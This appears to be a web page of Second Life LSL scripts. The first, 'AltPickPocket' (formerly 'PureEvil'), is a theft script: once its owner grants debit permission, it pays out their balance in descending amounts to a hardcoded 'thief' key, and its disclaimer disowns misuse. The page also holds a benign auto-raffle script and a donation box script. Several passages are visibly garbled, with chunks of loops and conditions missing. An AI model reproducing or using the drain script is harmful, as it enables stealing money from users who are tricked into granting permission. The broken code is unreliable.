Alt Pick Pocket

Expired

//-----------------------------------------------------------------------------------
// AltPickPocket Script C 2005-2007
// Formerly Known as PureEvil
// By Mitzpatrick Fitzsimmons
//-----------------------------------------------------------------------------------

//----------------------------DISCLAIMER!--------------------------------------------
// This script will take money from the person that owns the object it is in
// ONLY IF that owner accepts the PERMISSION_DEBIT.

// The UUID of the "thief" variable is to whom the money is paid to.
// I accept no responsability for the USE or MISUSE of this script.
// As with anything in SL, make sure you know what you are doing before you do it.
//-----------------------------------------------------------------------------------

key thief = "605dc2e5-3bdf-427e-a38d-98390c124249"; // Insert the key of the person who is going to get the money here.
list ammount = [32768, 16384, 8192, 4096, 2048, 1024, 512, 256, 128, 64, 32, 16, 8, 4, 2, 1]; // Use a list to enumerate payments until the account is cleaned out.

// The pay function here will use the integers in the ammount list to transact payments to the thief UUID in incremental 
// amounts until the list ends. In most cases this will deplete the account of the owner (unless there is more money in that
// owners account than is in the largest list amount).
pay () {
integer m = llGetListLength(ammount);
integer i = 0;
    while (i0)
        {
            llOwnerSay("Activated!");
            llSetColor(<0,1,0>, ALL_SIDES);
            llSetText("Active",<0,1,0>,1);
        }else{
            llSay(0, "PickPocket has no permissions");
            llSetColor(<1 ,0,0>, ALL_SIDES);
            llSetText("InActive",<1 ,0,0>,1);
        }
        
    }
}

 

Auto Raffler

Expired

//  AUTORAFFLER version 1.1
//  by Neo Rebus
//  Copyright (c) 2004 by Johnson Earls, All Rights Reserved
//  See end of file for license information
//
//  This is an automatic raffling system.  Once started, it will
//  periodically conduct a raffle on its own and give the prize to the
//  winner.  The winner must accept the prize within 15 seconds or the
//  autoraffler will choose a different winner.  (This allows the owner
//  of the object or property to decline accepting a prize)
//
//  SETUP:
//
//  Create an object that fills the volume in which the raffle attendees
//  will be standing.  The object can consist of multiple prims.  Once
//  the autoraffle script is put on the object, it will become phantom.
//  The object should be named something descriptive (as it will say
//  things to the world), and should be transparent since people will be
//  standing inside it.
//
//  Put the autoraffle script into the raffler object, then put the
//  objects to be raffled in.  Everything being raffled must be an
//  *object*, not a texture or landmark or anything.  If you want to
//  raffle other types of things off, put them inside their own object
//  and raffle that object.  If you want to raffle money, make an object
//  named "L$### ..." and the winner will be given ### linden dollars
//  rather than the object itself.
//
//  at this point, the autoraffler accepts voice commands to control it:
//
//    autoraffle reset
//      to reset the script
//    autoraffle list
//      to list the people entered in the raffle
//    autoraffle list winners
//      to list people who have won the raffle since it was reset
//    autoraffle stop
//      to stop an ongoing raffle
//    autoraffle start [  [  ] ]
//      to start a raffle.   and  are optional.  If
//      interval is not given, it will default to about 30 seconds.
//      If count is not given, it will raffle off all the objects in
//      the autoraffler's inventory.
//
//      example:  autoraffle start 20 5
//        this will start the autoraffler with a raffle every 20 minutes
//        (starting 20 minutes from now), raffling off 5 random prizes.
//
 
integer raffleAcceptTimeout = 15;
 
integer runningRaffleCount = 0;
integer runningRaffleInterval = 0;
 
integer runningRaffleListenerChat = 0;
integer runningRaffleListenerPrivate = 0;
 
list runningRaffleEntrants = [];
list runningRaffleWinners = [];
 
key thisRafflePrize = NULL_KEY;
string thisRafflePrizeName = "";
key thisRaffleWinner = NULL_KEY;
string thisRaffleWinnerAccepted = "";
list thisRaffleEntrants = [];
 
integer PRIVATE_CHAT = 1316110706 ;
 
list remove_from_list(list src, list what)
{
    //  find 'what'
    integer idx = llListFindList(src, what);
    if (idx > -1)
    {
        list pfx;  // the list before 'what'
        list sfx;  // the list after 'what'
        if (idx > 0)
        {
            pfx = llList2List(src, 0, idx - 1);
        } else {
            pfx = [];
        }
        if (idx  1)
                        {
                            entrants = entrants + ",";
                        }
                        entrants = entrants + " and " + name;
                    } else {
                        entrants = entrants + ", " + name;
                    }
                }
                llSay(0, "The current raffle entrants are " + entrants);
 
            } else if (msg == "autoraffle list winners")
            {
 
                //  generate comma-separated list of entrants with 'and' between last two
                integer i;
                integer num;
                string winners = "";
                num = llGetListLength(runningRaffleWinners);
                for (i=0; i 1)
                        {
                            winners = winners + ",";
                        }
                        winners = winners + " and " + name;
                    } else {
                        winners = winners + ", " + name;
                    }
                }
                llSay(0, "The raffle winners so far have been " + winners);
 
            } else if (msg == "autoraffle reset")
            {
 
                //  reset script
                llResetScript();
 
            } else if ((msg == "autoraffle start") ||
                       (llGetSubString(msg, 0, 16) == "autoraffle start "))
            {
 
                // split message into params, set interval and count,
                // and call nextRaffle()
                list params = llParseString2List(msg, [" "], []);
                integer npar = llGetListLength(params);
                if (npar > 2)
                {
                    runningRaffleInterval = llList2Integer(params, 2);
                } else {
                    runningRaffleInterval = 0;
                }
                if (npar > 3)
                {
                    runningRaffleCount = llList2Integer(params, 2);
                } else {
                    runningRaffleCount = llGetInventoryNumber(INVENTORY_OBJECT);
                }
                llResetTime();
                nextRaffle();
 
            }
        }
 
        if ((channel == PRIVATE_CHAT) && (id == thisRaffleWinner))
        {
 
            // on the private chat, set the Accepted string and reset
            // the timer to go off as quickly as possible
            thisRaffleWinnerAccepted = msg;
            llSetTimerEvent(0.1);
 
        }
 
    }
 
    timer()
    {
 
        // unset the timer
        llSetTimerEvent(0.0);
 
        // if we don't have a winner, then we're still selecting one.
        if (thisRaffleWinner == NULL_KEY)
        {
 
            // if we don't have a prize key, then we need to announce it.
            if (thisRafflePrize == NULL_KEY)
            {
                // reset the time so the next raffle is based on this time.
                llResetTime();
 
                // if we don't have any entrants, then skip this raffle attempt
                if (llGetListLength(thisRaffleEntrants) == 0)
                {
 
                    nextRaffle();
 
                } else {
 
                    // if we have no items, let the raffle owner know via IM
                    integer n = llGetInventoryNumber(INVENTORY_OBJECT);
                    if (n == 0)
                    {
 
                        llInstantMessage(llGetOwner(), llGetObjectName() +
                            ": No items left to raffle!");
                        nextRaffle();
 
                    } else {
 
                        n = llCeil(llFrand(n)) - 1;
                        thisRafflePrizeName = llGetInventoryName(INVENTORY_OBJECT, n);
                        thisRafflePrize = llGetInventoryKey(thisRafflePrizeName);
                        llSetTimerEvent(10.0);
                        llSay(0, "Now raffling: " + thisRafflePrizeName);
 
                    }
                }
 
            } else {
 
                // we have a prize key, find a winner.
                thisRaffleEntrants = runningRaffleEntrants;
                chooseWinner();
 
            }
        } else {
 
            //  we have a winner.  therefore they've already been offered
            //  the win dialog.  if they accept, call raffleWinner(); otherwise,
            //  remove them from thisRaffleEntrants and call chooseWinner() again.
            if (thisRaffleWinnerAccepted == "yes")
            {
                raffleWinner(thisRaffleWinner);
            } else {
                llSay(0, llKey2Name(thisRaffleWinner) + " did not accept the raffle prize.");
                thisRaffleEntrants = remove_from_list(thisRaffleEntrants, [ thisRaffleWinner ]);
                chooseWinner();
            }
        }
 
    }
 
}
 
////////////////////////////////////////////////////////////////////////
//
//  Auto-Raffler version 1.0
//  by Neo Rebus
//  Copyright (c) 2004 by Johnson Earls
//  All Rights Reserved
//
//  Permission to Use and Redistribute
//
//  Permission to use and redistribute the Auto-Raffler code, with or
//  without modifications, is granted under the following conditions:
//
//  + All redistributions must include this copyright notice and license.
//  + All redistributions must give credit to the author, by real name
//    (Johnson Earls) and by SL name (Neo Rebus).  If distributed in a
//    modified form, credit must still be given to Neo Rebus (Johnson
//    Earls) as the original author.
//  + All redistributions *should* include the setup information at the
//    beginning of the script.
//
////////////////////////////////////////////////////////////////////////

 

Donation Script

Expired

// CARP Donation box script. Written by Angel Fluffy, with credit to :
// Keknehv Psaltery, jean cook, ama omega, nada epoch, YadNi Monde
// for their work on the "DONATION box" script upon which it was based.
 
string imtext = "I'm the __________ Donation Box! Please right click and pay me to donate, as this supports the __________ project and helps keep the place open for you!";
// this is the text sent to someone who clicks on the prim containing this script and who isn't the owner.
 
// first line of hover text above box (always constant)
string floaty = "__________ Donation Box\n";
 
// when total donated this month is less than monthlyneeded, display whatfunding_1 as the funding target,
// when it is more, display whatfunding_2. This allows you to show your donors when you have switched
// from funding your essential running costs to funding expansion.
string whatfunding_1 = "Funding : __________ \n";
string whatfunding_2 = "Funding : __________ \n"; 
 
// name of the current month
// we *could* get this automatically, but changing the month automatically isn't as easy as it seems.
// This is a change I might make in a future version.
string thismonth = "October"; 
 
// How much are we trying to raise per month?
// The script displays a countdown in SETTEXT above the prim its in, counting down until this target is reached.
// After this target is reached, the countdown disappears, being replaced with a tally.
// The goal of this is to encourage people to donate by setting a clear goal they feel they can help achieve by donating.
integer monthlyneeded = 30000;
 
// These two variables define the starting numbers for how much has been donated across all time, and how much this month.
// These starting numbers will have the donations the script recieves in between each reset/save added to it,
// and the result displayed in float text over the top of the script.
// The first time you start accepting donations, you should set both of the numbers below to zero.
// When saving this script, you (the object owner) should touch the donation box object,
// which will then tell you how much has been donated in total and how much has been donated this month.
// Entering this information here before saving will allow you to preserve the 'state' of the script across edits/restarts.
integer totaldonated = 0;
integer monthdonated = 0;
 
// these settings are like the above, but save the 'last donor' information. You can set them to "" and 0 to clear saved info.
string lastdonor = "Taffy Tinlegs";
integer lastdonated = 0;
 
// this interval defines how long we wait between each reminder to donate broadcast to SAY (range=20m)
integer timer_interval = 3600;
 
// these settings determine what the 'default' donation amounts are.
// the buttons are the 'fast pay' buttons, the 'payfield' is the default amount in the text box.
list paybuttons = [50,200,400,800];
integer payfield = 100;
 
// these variables should be left undefined.
string owner;
string otext;
integer mpercent;
 
integer updatemath() {
        float mpercentfloat = ((monthdonated * 100) / monthlyneeded);
        mpercent = (integer)mpercentfloat; 
 
 return 1;
}
 
integer updatetext() {
        otext = floaty;
 
        if (mpercent >= 100) {
            otext += whatfunding_2;
        } else {
            otext += whatfunding_1;
        }
        if (lastdonated > 0) {
            otext += "Last donation : L$" + (string)lastdonated + " by " + lastdonor +"\n";
        }
        if (mpercent >= 100) {
            otext += "We have raised L$"+(string)(monthdonated - monthlyneeded)+" for this, beyond our basic running costs of L$"+(string)monthlyneeded+" for "+thismonth+". \n";
            //otext += "The excess will go towards giving prizes and running special events!";
        } else {
            otext += "Our donors have contributed "+(string)mpercent+"% of our basic running costs ("+(string)monthdonated+"/"+(string)monthlyneeded+") for "+thismonth+".\n";
        }
        llSetText(otext,<1 ,1,1>,1);
 return 1;
}
default
{
    on_rez( integer sparam )
    {
        llResetScript();
    }
    state_entry()
    {
        updatemath();
        updatetext();
        owner = llKey2Name( llGetOwner() );
        llSetPayPrice(payfield,paybuttons);
        llSetTimerEvent(timer_interval);
        llSay(0,"Script updated. Usually this is caused by the donation box owner updating the script.");
    }
 
    money(key id, integer amount)
    {
        totaldonated += amount;
        monthdonated += amount;
        lastdonor = llKey2Name(id);
        lastdonated = amount;
        updatemath();
        updatetext();
        llInstantMessage(id,"On behalf of everyone who uses this place, thank you for the donation!");
        llSay(0,(string)llKey2Name(id)+" donated L$" + (string)amount + ". Thank you very much for supporting us, it is much appreciated!" );
    }
    touch_start(integer num_detected){
        if (llDetectedKey(0) == llGetOwner()) {
            llOwnerSay("Reporting script status, because you are recognised as the owner of this donation box.");
            llOwnerSay("Current TOTAL donations across all time: L$"+(string)totaldonated);
            llOwnerSay("Current TOTAL donations for this month: L$"+(string)monthdonated);
        }  else {
            llInstantMessage(llDetectedKey(0),imtext);
        }
    }
    timer() {
        integer premainder = 100 - mpercent;
        integer aremainder = monthlyneeded - monthdonated;
        if (mpercent <100) {
            llSay(0,"We still need to meet the last "+(string)premainder+"% of our basic costs (L$"+(string)aremainder+") this month, to pay for land tier etc. Please consider donating to help us out!");
        }
        llSetTimerEvent(timer_interval);
    }
}